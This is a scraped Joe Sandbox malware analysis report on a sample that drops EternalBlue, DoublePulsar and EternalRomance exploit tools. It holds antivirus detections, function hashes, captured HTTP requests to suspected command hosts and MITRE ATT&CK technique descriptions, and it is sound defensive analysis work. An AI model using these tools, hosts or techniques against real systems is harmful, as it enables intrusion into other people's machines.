Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: GetctypeGetcvt
String ID: 0;V
API String ID: 492523193-1703946107
Opcode ID: d0b3f2dc87f20e2a9e0717a26a76c425b7eff047b39d53255bb35f018c1b8663
Instruction ID: 814b0c72f911df412db94967e5f1f43cb0245675a4a516b3b1845cacaf7d6bd8
Opcode Fuzzy Hash: d0b3f2dc87f20e2a9e0717a26a76c425b7eff047b39d53255bb35f018c1b8663
Instruction Fuzzy Hash: 1EF02BA1C04B894BD310DF28C5014A2B3B8BE7C200B009356DD8D63122FB20F6D4C741

Function 004B49B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004B49B6
CloseHandle.KERNEL32(?,?,?,004B3E6C,?,?,00000000), ref: 004B49D4

Strings

2AK, xrefs: 004B49C2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CloseH_prologHandle
String ID: 2AK
API String ID: 3649405652-3502378672
Opcode ID: 9cd6fb476625dd0dbcf7f594363142c90edf1a42c411bcbd883b69b457b16f07
Instruction ID: f86c6b24c581e5896f54b46944b4c78942d44fa70c9ed0b5134a879675c74e01
Opcode Fuzzy Hash: 9cd6fb476625dd0dbcf7f594363142c90edf1a42c411bcbd883b69b457b16f07
Instruction Fuzzy Hash: ADF0A7B1910210DFCF249F55C5057AEBBF4EF04725F00825FA01593291C77C8D00CB68

Function 00438C60 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00438CF1
wsprintfA.USER32 ref: 00438D0B
wsprintfA.USER32 ref: 00438D26

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: ff5d643e2be7278bcc2cb7f7c8e74ca9cb75815253c9560b58c0c28999eaca98
Instruction ID: 800edc7534f946b0a6d2109176c9ea09b287ce50aba407df7ccf220f42b2c2f7
Opcode Fuzzy Hash: ff5d643e2be7278bcc2cb7f7c8e74ca9cb75815253c9560b58c0c28999eaca98
Instruction Fuzzy Hash: 7731C4B15043006BC714DF65D8459AFBBE8EFC9758F000A2DF94693291EF78DE08C6AA

Source: C:\Users\user\Desktop\tibe-2.dll	Avira: detection malicious, Label: TR/Agent.psvbt
Source: C:\Users\user\Desktop\ssleay32.dll	Avira: detection malicious, Label: TR/ShadowBrokers.bdfta
Source: C:\Users\user\Desktop\ucl.dll	Avira: detection malicious, Label: TR/ShadowBrokers.ymgcm
Source: C:\Users\user\Desktop\libxml2.dll	Avira: detection malicious, Label: TR/Eqtonex.hjsmv
Source: C:\Users\user\Desktop\cnli-1.dll	Avira: detection malicious, Label: EXP/Equation.H
Source: C:\Users\user\Desktop\trch-1.dll	Avira: detection malicious, Label: TR/ShadowBrokers.uqihx
Source: C:\Users\user\Desktop\exma-1.dll	Avira: detection malicious, Label: TR/Equation.DC
Source: C:\Users\user\Desktop\tucl-1.dll	Avira: detection malicious, Label: TR/Agent.bbyeq
Source: C:\Users\user\Desktop\posh-0.dll	Avira: detection malicious, Label: TR/Eqtonex.qkzfk
Source: C:\Users\user\Desktop\libeay32.dll	Avira: detection malicious, Label: TR/Agent.xdwkx
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe	Avira: detection malicious, Label: TR/ShadowBrokers.D
Source: C:\Users\user\Desktop\crli-0.dll	Avira: detection malicious, Label: TR/ShadowBrokers.xvdds
Source: C:\Users\user\Desktop\trfo-2.dll	Avira: detection malicious, Label: TR/ShadowBrokers.ncsiv
Source: C:\Users\user\Desktop\xdvl-0.dll	Avira: detection malicious, Label: TR/ShadowBrokers.ertvh
Source: C:\Users\user\Desktop\coli-0.dll	Avira: detection malicious, Label: TR/Agent.mewnz
Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	Avira: detection malicious, Label: TR/Eqtonex.DG
Source: C:\Users\user\Desktop\Wmicc.exe	Avira: detection malicious, Label: HEUR/AGEN.1340376
Source: C:\Users\user\Desktop\x86.dll	Avira: detection malicious, Label: TR/Dldr.Small.deapl
Source: C:\Users\user\Desktop\dmgd-4.dll	Avira: detection malicious, Label: TR/ShadowBrokers.gzfza
Source: C:\Users\user\Desktop\zlib1.dll	Avira: detection malicious, Label: TR/Equation.D
Source: C:\Users\user\Desktop\x64.dll	Avira: detection malicious, Label: HEUR/AGEN.1301099
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe	Avira: detection malicious, Label: TR/AD.EquationDrug.sbeor

Source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\Desktop\Eternalromance-1.4.0.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\Wmicc.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\cnli-1.dll	ReversingLabs: Detection: 94%
Source: C:\Users\user\Desktop\coli-0.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\crli-0.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\dmgd-4.dll	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\exma-1.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\libeay32.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\libxml2.dll	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\posh-0.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\ssleay32.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\tibe-2.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\trch-1.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\trfo-2.dll	ReversingLabs: Detection: 100%
Source: C:\Users\user\Desktop\tucl-1.dll	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\ucl.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\x64.dll	ReversingLabs: Detection: 79%
Source: C:\Users\user\Desktop\x86.dll	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\xdvl-0.dll	ReversingLabs: Detection: 95%
Source: C:\Users\user\Desktop\zlib1.dll	ReversingLabs: Detection: 95%

Source: C:\Users\user\Desktop\cnli-1.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\exma-1.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\Wmicc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\Eternalblue-2.2.0.exe	Joe Sandbox ML: detected

Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://45.113.194.189/api.php?query=&co=&resource_id=6006&oe=utf8User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.189

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aWE8rvFcg+AP234&MD=L22uL3Pd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://45.113.194.189/api.php?query=&co=&resource_id=6006&oe=utf8User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.189

Source: Yara match	File source: 0.2.exe3.bin.bak.exe.5df276.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.5e2e89.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.5c6863.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.exe3.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: exe3.bin.bak.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe, type: DROPPED

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.134
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26

Source: global traffic	DNS traffic detected: DNS query: members.3322.org
Source: global traffic	DNS traffic detected: DNS query: opendata.baidu.com

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report exe3.bin.bak.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\Doublepulsar-1.3.1.exe

C:\Users\user\Desktop\Doublepulsar-1.3.1.xml

C:\Users\user\Desktop\Eternalblue-2.2.0.exe

C:\Users\user\Desktop\Eternalblue-2.2.0.xml

C:\Users\user\Desktop\Eternalromance-1.4.0.exe

C:\Users\user\Desktop\Eternalromance-1.4.0.xml

C:\Users\user\Desktop\Wmicc.exe

C:\Users\user\Desktop\cnli-1.dll

C:\Users\user\Desktop\coli-0.dll

C:\Users\user\Desktop\crli-0.dll

C:\Users\user\Desktop\dmgd-4.dll

C:\Users\user\Desktop\exma-1.dll

C:\Users\user\Desktop\ip.txt

Windows Analysis Report
exe3.bin.bak.exe

Function 0042F930 Relevance: 15.3, APIs: 10, Instructions: 287
libraryloaderCOMMON

Function 00455D50 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370
commemorythreadCOMMON

Function 004AA9D0 Relevance: 12.1, APIs: 8, Instructions: 72
stringfileCOMMON

Function 004010CB Relevance: 7.2, Strings: 5, Instructions: 936
COMMON

Function 004B4585 Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Function 0047CD20 Relevance: 4.6, APIs: 3, Instructions: 75
networkCOMMON

Function 004ABA7A Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99
COMMON

Function 004B3718 Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMON

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
